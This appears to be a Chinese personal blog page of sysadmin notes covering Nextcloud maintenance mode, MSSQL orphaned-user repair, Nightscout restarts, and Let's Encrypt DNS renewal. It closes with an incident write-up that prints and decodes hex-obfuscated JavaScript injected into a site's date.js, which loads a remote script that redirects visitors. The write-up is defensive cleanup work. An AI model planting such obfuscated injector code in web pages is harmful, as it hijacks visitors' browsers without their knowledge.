确保服务器本身没出什么问题,可执行sudo -u www php occ maintenance:mode --off
关闭维护模式。
执行完成会显示Maintenance mode disabled.
正常情况下网盘应该可以正常访问了。
阿水的世界。
分类 网站相关 下的文章
数据库还原造成的孤立用户没有登陆名的修复办法
这几天给一个网站更换服务器,旧服务器是windows server2008,网站使用的是asp.net开发,使用的数据库是Mssql2008,因为winserver2008已经停止更新了,所以新的服务器安装的是Windows Server 2022 Datacenter系统,数据库安装的是Mssql2012。对应用和数据库进行迁移,数据库还原以后,访问网站时出现了问题,提示无法登陆。
经检查,因为我在旧的服务器上对数据库做的是备份操作,生成的文件在新的服务器上做的是还原数据库操作,这样回复数据库的结果是只将数据库本身还原了,但是系统数据库中没有这个数据库中的用户信息,造成了数据库中的用户成为了孤立用户,系统中没有该用户的登陆名,所以不具备登陆权限。
孤立帐户,就是某个数据库的帐户只有用户名而没有登录名,这样的用户在用户库的sysusers系统表中存在,而在master数据库的syslogins中却没有对应的记录。
查到原因后,自己进行了修复尝试,在mssql的“安全性”-“登陆名”下,增加一个和原数据库中的登陆名一致的用户,这个时候就出现了问题,显示已经存在该用户,无法新增,但是经过此操作后在“登陆名”项目下出现了准备新增的用户。经过尝试,仍然无法登陆,并且无法赋上对数据库的各项的权限。
经过搜索,找到了如下的修复方法:
首先将在需要修复的数据库中新建查询,执行下边命令即可:
列出当前数据库的孤立用户(这步不是必须)
exec sp_change_users_login 'REPORT'
将孤立用户所对应的同名登录名添加到syslogins中
exec sp_change_users_login 'AUTO_FIX','用户名'
也可以使用这个命令,将用户名映射为指定的登录名
exec sp_change_users_login 'UPDATE_ONE','用户名','登录名'
这里边的用户名和登陆名应根据实际情况修改。
执行完后,数据库访问就正常了。
重启xdrip+的配套相关服务Nightcout
Nightcout是一个用于血糖数据收集的在线数据库,可用于xdrip+的数据同步。
在linux系统下,搭建的Nightcout因为使用了SSL,且证书过期,导致数据无法同步,显示SSL过期,重发证书后,无法使用npm stop dev停止该项目。
因为Nightcout使用的nodejs编写,可以通过查询node关键词获取进程id,然后用kill杀死进程,再重新启动Nightcout服务即可。
具体可使用如下命令:
- 使用
netstat -nap | grep node
命令查询id号,同时结合服务监听的端口来确定准确的id号 - 使用
kill -9 id号
杀死当前进程 - 使用
npm run dev
或npm run proc
重新启动服务即可。
更新Let's Encrypt SSL证书(通过DNS方式验证)
刚刚,网站的Let's Encrypt SSL到期了,需要更新一下证书,但是不想通过80端口自动更新,想使用DNS验证的方式手动更新,
现在服务器已经安装过certbot,使用这个命令certbot-auto --manual --preferred-challenges dns certonly
更新证书。
如果遇到这个错误:
Upgrading certbot-auto X.XX to X.XX.X...
Couldn't download https://raw.githubusercontent.com/certbot/certbot/v0.XX.0/letsencrypt-auto-source/letsencrypt-auto. <urlopen error [Errno 110] Connection timed out>
原因是:certbot-auto将始终尝试从最新版本中获取自身的最新版本。
解决方案:在命令后加 --no-self-upgrade 即可。即:
certbot-auto --manual --preferred-challenges dns certonly --no-self-upgrade
运行后,根据提示输入单个或多个域名,多个域名中间用英文逗号隔开,再次显示:
Please deploy a DNS TXT record under the name
_acme-challenge.XXXX.com with the following value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Before continuing, verify the record is deployed.
这时需要更新域名的_acme-challenge解析值,解析完成后,使用nslookup命令可以查到相应的解析后,再点继续。
具体查询命令如下:
$ nslookup
> set type=txt
> _acme-challenge.XXXX.com
Server: 223.5.5.5
Address: 223.5.5.5#53
Non-authoritative answer:
_acme-challenge.XXXX.com text = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
certbot提示证书更新成功后,重启网站服务即可。
lnmp重启nginx命令:sudo lnmp nginx restart
至此,SSL更新完成。
一例挂马清理修复实录
刚刚,朋友发来信息,说他的网站登录后台会跳转到其他网站。我看了下,从手机上的登录后没有发现跳转问题,以为是他的电脑被装了插件。于是远程他的电脑,清理了一下系统,没发现问题,再次登录网站,访问同一个页面的时候还是会跳转,经过浏览器抓包发现页面跳转到了其他网站。
判断是网页被挂马了,于是开始查找网页源代码。在访问的固定页面源代码中没发现问题,但是引用了两个文件,一个是<!--#include file="Admin_Common.asp"-->
,一个是<script language="JavaScript" type="text/JavaScript" src="../js/date.js"></script>
仔细检查了两个文件后,发现date.js文件日期有问题,明显是被修改过了
被挂了马并加密具体内容为:
var Uo1 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65']('\x48\x45\x41\x44')['\x69\x74\x65\x6d'](0); var KSFnLmPDG2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']("\x73\x63\x72\x69\x70\x74"); KSFnLmPDG2['\x74\x79\x70\x65'] = "\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74"; KSFnLmPDG2['\x73\x72\x63']="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x73\x64\x77\x33\x32\x2e\x63\x6f\x6d\x2f\x67\x65\x74\x61\x64\x6d\x69\x6e\x2e\x6a\x73"; Uo1['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64']( KSFnLmPDG2);
是url unicode加密。
继续破解加密内容,在记事本中将\x
全部替换为%
,var Uo1 = window["%64%6f%63%75%6d%65%6e%74"]['%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65']('%48%45%41%44')['%69%74%65%6d'](0); var KSFnLmPDG2= window["%64%6f%63%75%6d%65%6e%74"]['%63%72%65%61%74%65%45%6c%65%6d%65%6e%74']("%73%63%72%69%70%74"); KSFnLmPDG2['%74%79%70%65'] = "%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74"; KSFnLmPDG2['%73%72%63']="%68%74%74%70%3a%2f%2f%73%2e%73%64%77%33%32%2e%63%6f%6d%2f%67%65%74%61%64%6d%69%6e%2e%6a%73"; Uo1['%61%70%70%65%6e%64%43%68%69%6c%64']( KSFnLmPDG2);
利用站长工具urldecode工具(http://tool.chinaz.com/tools/urlencode.aspx)进行解码,得到:
var Uo1 = window["document"]['getElementsByTagName']('HEAD')['item'](0); var KSFnLmPDG2= window["document"]['createElement']("script"); KSFnLmPDG2['type'] = "text/javascript"; KSFnLmPDG2['src']="http://s.sdw32.com/getadmin.js"; Uo1['appendChild']( KSFnLmPDG2);
浏览器访问http://s.sdw32.com/getadmin.js,得到window.location='http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name?ref=' + window.location.href;
继续访问http://kumari-gra.com/parktons.com?adTagId=2e358950-a8f0-11eb-9027-0a0e703b78cf&fallbackUrl=net.domain.name
出现问题跳转的页面,至此解密成功。
修复比较简单,将data.js文件中的挂马内容删除就可以了。